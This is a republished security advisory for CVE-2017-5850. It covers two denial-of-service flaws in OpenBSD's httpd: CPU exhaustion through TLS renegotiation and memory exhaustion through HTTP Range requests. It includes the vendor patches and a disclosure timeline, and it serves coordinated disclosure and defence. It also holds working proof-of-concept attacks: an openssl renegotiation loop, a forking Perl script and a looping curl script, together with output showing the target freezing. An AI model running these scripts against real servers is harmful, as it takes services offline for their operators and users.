OpenBSD HTTPd < 6.0 - Memory Exhaustion Denial of Service

• Exploit Database
• 30 阅读

• 作者： PierreKimSec
  日期： 2017-02-07
• 类别：

  • dos
  平台：

  • openbsd
• 来源：https://www.exploit-db.com/exploits/41278/

• ## Advisory Information
  
  Title: Remote DoS against OpenBSD http server (up to 6.0)
  Advisory URL: https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
  Blog URL: https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
  Date published: 2017-02-07
  Vendors contacted: OpenBSD
  Release mode: Released
  CVE: CVE-2017-5850
  
  
  
  ## Product Description
  
  The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.
  
  
  
  ## Vulnerabilities Summary
  
  The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.
  
  The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).
  
  The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side.
  Processes will be killed when running out of swap space. The system will be likely to freeze.
  
  
  
  ## Details - CPU exhaustion (no CVE entry)
  
  OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:
  
  user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.0.2.15:443
  CONNECTED(00000003)
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify error:num=18:self signed certificate
  verify return:1
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify return:1
  - ---
  Certificate chain
   0 s:/C=XX/ST=secure.example.com/CN=secure.example.com
   i:/C=XX/ST=secure.example.com/CN=secure.example.com
  - ---
  Server certificate
  - -----BEGIN CERTIFICATE-----
  MIIDCjCCAfICCQC0tQxJqUqQTzANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQGEwJY
  WDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQDDBJzZWN1cmUu
  ZXhhbXBsZS5jb20wHhcNMTcwMTI3MTU0MjMzWhcNMTgwMTI3MTU0MjMzWjBHMQsw
  CQYDVQQGEwJYWDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQD
  DBJzZWN1cmUuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
  AoIBAQCjIY7mMaNVLmPDA4ir59mgdQEM4TFTgz5cv9SqU4hQq0eVmpJkEfJPHErF
  to5NdF2ZIqhL+F34GqZcCC8qO3xB33dAevENWWbA4KObpIybHr8bFeDYYl5GuaCO
  hizmcffU3P1ztRNXB4sCTTQwkyry8ZUDaeINLGMb0HhFR9u5TJY6tSB0KMIuiBsH
  1hEp8bNxUM046D0wkZkyIgM/or6uj5jRj33aYUn6ZiU8a6UKSAVZJLqziyNcQ0hA
  64gS6oapUnMVYJIUDJynOhY5e8xZmD+2pB4NLTIxAEdSyQ4wQ4jBiRFVL+E68fuw
  kASmrA4gAbSCO+lYBO8wCRiVOwOdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAC1L
  213ziHqFmC8nLWvvjyoHY2PRFS1ofrfciv+fpohn2GN+eVb8DGTo+KLZ910/PUPk
  dzTa7eOlkvR1OG7BUlnia6pGQqizTodvzx0DGgl76k4VpEvJAOZ4f7Plry4qgr5Y
  y3Fwym1k3DlNJ5Jqh8Vp2HETbqcovATsUHRS5t/oc6N2egq1DYVC5CdGRgvmmUl+
  NBjKOASYoP8S4OQ51wMmXrygFqKcEkq4/GTUFEaamrbM/J+ChD9EqejSKzZ5owRh
  74v10s30OylBdmfOLeyrMv5s6DnJRAdtFEH9Wg7sQDt1P3bGOsObVZlmHCtArl4k
  m1nHRn8scAFP7QbHl34=
  - -----END CERTIFICATE-----
  subject=/C=XX/ST=secure.example.com/CN=secure.example.com
  issuer=/C=XX/ST=secure.example.com/CN=secure.example.com
  - ---
  No client certificate CA names sent
  - ---
  SSL handshake has read 1548 bytes and written 503 bytes
  - ---
  New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
  Server public key is 2048 bit
  Secure Renegotiation IS supported
  Compression: NONE
  Expansion: NONE
  SSL-Session:
  Protocol: TLSv1.2
  Cipher: ECDHE-RSA-AES256-GCM-SHA384
  Session-ID: DA628A16EF4F067ED81E7A26EFA18D9A7D53CBC4ED54C8F6DC11E5E60FF76530
  Session-ID-ctx: 
  Master-Key: 9235AFEBCF2A517E896A06CAA7A1AF916646DB5BB4C99B53A79627351C0FFB936EB863B0E50A67DF70A354773CF049BE
  Key-Arg : None
  PSK identity: None
  PSK identity hint: None
  SRP username: None
  TLS session ticket lifetime hint: 300 (seconds)
  TLS session ticket:
  0000 - 49 f1 29 da 9e 08 f2 74-c6 f3 eb a1 c7 ee 40 bb I.)....t......@.
  0010 - 96 75 54 c8 4f 32 53 7e-51 40 4e a8 e9 57 41 a5 .uT.O2S~Q@N..WA.
  0020 - 73 3d a9 d6 b8 f7 a0 f8-15 cb be fb f1 4d d9 81 s=...........M..
  0030 - a8 79 56 11 5d 05 32 05-49 df 2b f3 71 89 36 a1 .yV.].2.I.+.q.6.
  0040 - 93 dc b9 b5 00 48 6f 94-b1 c5 78 f8 38 3c 63 29 .....Ho...x.8<c)
  0050 - ed 45 a2 9e ae fc 7e d7-12 76 34 15 93 b1 3d 3d .E....~..v4...==
  0060 - d7 0a 14 f1 01 a7 87 6c-50 93 25 24 5e 4f 1b fa .......lP.%$^O..
  0070 - 51 03 4b fa 7e 23 83 99-51 f6 47 10 8c d1 0e 41 Q.K.~#..Q.G....A
  0080 - 5a f7 a5 10 33 a7 37 5d-9b 5e b0 b6 19 e7 e2 61 Z...3.7].^.....a
  0090 - ec ea 1c 72 3c 4a ec 11-0f 26 35 76 6e d9 cb 4d ...r<J...&5vn..M
  00a0 - c7 f8 57 cb 50 f6 47 02-6b ca be cc 29 04 b7 dc ..W.P.G.k...)...
  00b0 - e0 d1 cc 8e 5b f9 05 06-10 72 d7 b6 8e cf 42 6a ....[....r....Bj
  
  Start Time: 1485536662
  Timeout : 300 (sec)
  Verify return code: 18 (self signed certificate)
  - ---
  RENEGOTIATING
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify error:num=18:self signed certificate
  verify return:1
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify return:1
  RENEGOTIATING
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify error:num=18:self signed certificate
  verify return:1
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify return:1
  RENEGOTIATING
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify error:num=18:self signed certificate
  verify return:1
  depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
  verify return:1
  RENEGOTIATING
  [...]
  
  
  
  - From my test, 1 renegociation thread takes =~ 70% of CPU.
  
  top on the main server (10.0.2.15):
  
  14711 www 510 1104K 3636K run - 1:07 69.55% httpd
  
  Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:
  
  14711 www 630 1192K 3708K run - 2:48 33.45% httpd
  77207 www 630 1284K 3788K run - 1:33 33.06% httpd
  78835 www 620 1232K 3808K run - 0:15 28.08% httpd
  
  There is no trace of such attacks in the httpd logs.
  
  An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.
  
  
  
  ## Details - Memory exhaustion (CVE-2017-5850)
  
  A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.
  
  Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file.
  It appears the entry is not correctly free()'d.
  
  Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:
  
  GET /index.html HTTP/1.1
  Range: bytes=1-
  User-Agent: Pierre loves you
  Host: fill-me-with-joy
  
  This attack is successful if an attacker can identify a 'big' file (i.e. > 10MB) served by the remote HTTP server.
  
  Here is a provided PoC (loosely based on KingCope's apache_killer.pl):
  
  #!/usr/bin/perl -w
  
  use warnings;
  use IO::Socket;
  use Parallel::ForkManager;
  
  $numforks = 50;
  
  if ($#ARGV < 1)
  {
  &usage;
  exit;
  }
  
  while (1) {
  &killhttpd();
  }
  
  sub usage {
  print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n";
  print "usage: perl killobsdhttpd.pl <host> <remotefile>\n";
  }
  
  sub killhttpd {
  print "ATTACKING $ARGV[0] [using $numforks forks]\n";
  
  $pm = new Parallel::ForkManager($numforks);
  
  for (0 .. $numforks)
  {
  my $pid = $pm->start and next;
  my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
   PeerPort => "80",
   Proto=> 'tcp');
  $p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n";
  print $sock $p;
  if (<$sock>) {sleep (0.5); $sock->close();}
  $pm->finish;
  }
  $pm->wait_all_children;
  }
  
  
  An attacker can use curl to replicate the PoC:
  
  curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs
  
  Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory
  for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting
  all the RAM. The OpenBSD system will likely freeze within minutes.
  
  
  PoC with curl (more effective than the perl version, it appears):
  
  #!/bin/sh
  # ./$0 www.target.tld /path/to/file
  
  unset http_proxy
  unset https_proxy
  
  for i in $(seq 0 300)
  do
  echo sending a req
  curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
  sleep 0.5
  pkill curl
  done
  while sleep 1
  do
  echo "sending a req (slow)"
  curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
  pkill curl
  done
  
  This attack works using HTTP and using HTTPS.
  
  Current situation in the attacked server (SWAP is full and all the RAM is being completely used):
  
  load averages:7.11,3.30,1.38 foo.my.domain 10:26:41
  39 processes: 6 running, 32 idle, 1 on processor up0:03
  CPU states:0.0% user,0.0% nice,100% system,0.0% interrupt,0.0% idle
  Memory: Real: 569M/961M act/tot Free: 21M Cache: 49M Swap: 2039M/2040M
  
  PID USERNAME PRI NICESIZE RES STATE WAITTIMECPU COMMAND
  48965 www 280 1345M204M run - 0:050.00% httpd
  43060 www 280 1281M174M run - 0:050.00% httpd
  91565 www 280 1153M187M run - 0:040.00% httpd
  63038 www20948K4K idlekqread0:000.00% httpd
  
  
  
  We see the daemons (httpd and sshd) don't answer anymore:
  
  user@kali:~$ 10.0.2.15 80
  Trying 10.0.2.15...
  Connected to 10.0.2.15.
  Escape character is '^]'.
  
  ^]
  telnet> q
  Connection closed.
  user@kali:~$ telnet 10.0.2.15 80
  Trying 10.0.2.15...
  Connected to 10.0.2.15.
  Escape character is '^]'.
  
  ^]
  telnet> q
  Connection closed.
  user@kali:~$ telnet 10.0.2.15 22
  Trying 10.0.2.15...
  Connected to 10.0.2.15.
  Escape character is '^]'.
  
  ^]
  telnet> q
  Connection closed.
  Connection closed by foreign host.
  
  
  
  ## Vendor Response
  
  o The issue about memory exhaustion has been solved in two ways:
  - - OpenBSD 6.0/5.9: Erratas has been issued at:
  https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
  https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig
  
  - - OpenBSD -current: We reimplemented support for byte ranges in
  - -current.The previous implementation was flawed indeed, as it tried
  to load the complete ranges into memory at once.
  
  
  o High CPU usage is a well-known issue of client-initiated
  renegotiation.While this can cause higher than normal CPU usage, the
  processes are still able to service requests.
  
  As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we
  decided to disable client-initiated renegotiation for libtls servers
  in -current.This change was already planned and has now been
  committed to LibreSSL.
  
  libssl http://marc.info/?l=openbsd-cvs&m=148587695222112&w=2
  libtls http://marc.info/?l=openbsd-cvs&m=148587827322528&w=2
  
  
  
  ## Report Timeline
  
  * Jan 25, 2017: Vulnerabilities found by Pierre Kim.
  * Jan 30, 2017: OpenBSD team is notified of the vulnerabilities.
  * Jan 30, 2017: OpenBSD team replies that they will study the advisory.
  * Jan 31, 2017: OpenBSD team confirms the vulnerabilities.
  * Jan 31, 2017: Pierre Kim asks for CVE entries.
  * Jan 31, 2017: OpenBSD team releases security patches.
  * Feb 01, 2017: cve-assign () mitre org assigns CVE-2017-5850 and asks for more details.
  * Feb 07, 2017: A public advisory is sent to security mailing lists.
  
  
  
  ## Credit
  
  These vulnerabilities were found by Pierre Kim (@PierreKimSec).
  
  
  
  ## References
  
  https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
  https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
  https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
  https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig
  
  
  
  ## Disclaimer
  
  This advisory is licensed under a Creative Commons Attribution Non-Commercial
  Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
  
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